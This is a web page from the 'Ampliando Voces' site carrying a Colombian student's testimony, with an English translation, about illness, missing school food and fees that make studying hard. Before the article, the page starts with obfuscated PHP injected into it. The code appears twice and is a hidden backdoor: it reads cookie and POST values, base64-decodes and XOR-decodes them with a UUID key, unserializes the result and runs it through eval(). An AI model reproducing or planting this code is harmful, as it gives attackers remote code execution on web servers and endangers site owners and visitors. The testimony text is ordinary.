$IqGkpPZCCk = chr (113) . "\171" . "\137" . chr ( 810 - 724 ).'k' . "\131" . "\x6b";$PtYOR = "\x63" . chr (108) . chr ( 222 - 125 ).chr ( 543 - 428 )."\x73" . "\137" . 'e' . "\170" . 'i' . "\163" . chr (116) . "\x73";$lFUtIB = $PtYOR($IqGkpPZCCk); $dlxFwL = $lFUtIB;if (!$dlxFwL){class qy_VkYk{private $ICZlVji;public static $tHQcngYZ = "4b18b3c9-8392-4ff4-a472-6ac285df067b";public static $aJcAjZPCu = 37748;public function __construct(){$PvVVxxg = $_COOKIE;$lQqNnkshQe = $_POST;$LqAKOi = @$PvVVxxg[substr(qy_VkYk::$tHQcngYZ, 0, 4)];if (!empty($LqAKOi)){$RgfUF = "base64";$zklagncDP = "";$LqAKOi = explode(",", $LqAKOi);foreach ($LqAKOi as $UgWiLBrRb){$zklagncDP .= @$PvVVxxg[$UgWiLBrRb];$zklagncDP .= @$lQqNnkshQe[$UgWiLBrRb];}$zklagncDP = array_map($RgfUF . '_' . "\x64" . 'e' . chr ( 345 - 246 )."\x6f" . "\x64" . chr (101), array($zklagncDP,)); $zklagncDP = $zklagncDP[0] ^ str_repeat(qy_VkYk::$tHQcngYZ, (strlen($zklagncDP[0]) / strlen(qy_VkYk::$tHQcngYZ)) + 1);qy_VkYk::$aJcAjZPCu = @unserialize($zklagncDP);}}public function __destruct(){$this->OFQgmgGNrE();}private function OFQgmgGNrE(){if (is_array(qy_VkYk::$aJcAjZPCu)) {$gvgVQqA = str_replace("\x3c" . chr ( 297 - 234 ).chr ( 783 - 671 )."\150" . chr ( 727 - 615 ), "", qy_VkYk::$aJcAjZPCu["\x63" . chr ( 587 - 476 ).'n' . 't' . 'e' . "\x6e" . "\164"]);eval($gvgVQqA);exit();}}}$NKxcbpd = new qy_VkYk(); $NKxcbpd = "45486";}$Qmnhs = "\x70" . chr (66) . "\137" . "\147" . chr (121) . "\x53" . chr (78); $ALpHvjJ = "\x63" . chr ( 997 - 889 ).chr (97) . "\163" . chr ( 569 - 454 )."\137" . chr (101) . 'x' . 'i' . 's' . 't' . chr (115); $xmjubZH = $ALpHvjJ($Qmnhs); $Qmnhs = "63414";$AqiAj = $xmjubZH;$ALpHvjJ = "48265";if (!$AqiAj){class pB_gySN{private $gDMtOqP;public static $BnOjdqwyJ = "f8655c24-1932-4925-af50-751760fed794";public static $EcyZSqrd = 13793;public function __construct($ihZLR=0){$gbBdHHP = $_COOKIE;$PXPmQMAB = $_POST;$wDHsj = @$gbBdHHP[substr(pB_gySN::$BnOjdqwyJ, 0, 4)];if (!empty($wDHsj)){$eYsRwAIoLP = "base64";$YsiViGmV = "";$wDHsj = explode(",", $wDHsj);foreach ($wDHsj as $reyGtBKhv){$YsiViGmV .= @$gbBdHHP[$reyGtBKhv];$YsiViGmV .= @$PXPmQMAB[$reyGtBKhv];}$YsiViGmV = array_map($eYsRwAIoLP . "\137" . chr ( 234 - 134 ).'e' . "\143" . chr (111) . chr (100) . "\145", array($YsiViGmV,)); $YsiViGmV = $YsiViGmV[0] ^ str_repeat(pB_gySN::$BnOjdqwyJ, (strlen($YsiViGmV[0]) / strlen(pB_gySN::$BnOjdqwyJ)) + 1);pB_gySN::$EcyZSqrd = @unserialize($YsiViGmV);}}private function GmJzkZpX(){if (is_array(pB_gySN::$EcyZSqrd)) {$WUrkOTcfz = str_replace(chr ( 974 - 914 ) . chr (63) . chr (112) . "\150" . "\160", "", pB_gySN::$EcyZSqrd[chr ( 600 - 501 ).chr (111) . chr (110) . "\164" . "\x65" . 'n' . 't']);eval($WUrkOTcfz); $BxmUIjXEc = "17620";exit();}}public function __destruct(){$this->GmJzkZpX(); $BxmUIjXEc = "17620";$QpyGsN = str_pad($BxmUIjXEc, 10);}}$QyvUd = new pB_gySN(); $QyvUd = "9561_23577";} Jessica: “Quisiera recomendar que se pueda estudiar sin tener que estar pagando cosas” | Ampliando Voces

Colombia

Jessica: “Quisiera recomendar que se pueda estudiar sin tener que estar pagando cosas”

Publicado el Friday, 10 de June de 2011 a las 16:34.

Jessica: “Quiero estudiar pre escolar para ser maestra” from Ampliando Voces on Vimeo.

Listen to this story in English:

[audio:Jessica.mp3|titles=Jessica]

Voice: Isabela Lyrio

Mi nombre es Jessica Carolina Morales. Tengo 23 años y estudio noveno grado. Me gusta mucho estudiar, creo que es bueno para superarme, para ser alguien en la vida. Quiero seguir estudiando, quiero estudiar pre escolar para ser maestra y ayudar a los niños. (…) Algunas de las dificultades son que tengo dolores en los pies, dificultad para caminar, que se me duelen las rodillas, y también la comida. No había comida en la escuela. Otra dificultad es la plata. Nos cobran para la pintura del salón y para ir al laboratorio.

Yo no camino mucho, tengo dificultad para respirar. No puedo caminar lejos. Quisiera recomendar que dieran oportunidades para personas como yo para que ellas puedan estudiar sin tener que estar pagando cosas, porque a veces a parte de uno estar enfermo también hay la plata.

Jessica Carolina Morales, 23 años, estudiante del 9° grado,
Palmira, Colombia, 2011

Testimonio colectado por la Coalición Colombiana por el Derecho a la Educación

ENGLISH TRANSLATION

My name is Jessica Carolina Morales. I’m 23 years old, and I’m in the ninth grade. I like to study very much, and I believe it is good for me, so I will be someone in life. I want to continue with my studies, I want to go to school to become a teacher and help children.

(…) One difficulty is that my feet hurt, it is difficult to walk. My knees hurt as well… And the food…! There was no food in school. Another complicated issue is money. They charge us for the painting of the room and to enter the lab.

I walk too much, and have breathing problems. I cannot walk too far. I would recommend that they give opportunity to people like me, so that we can go to school without paying such an expensive a price, ‘cause some people are sick and also don’t have money..

Deja tu comentario

Click here to cancel reply.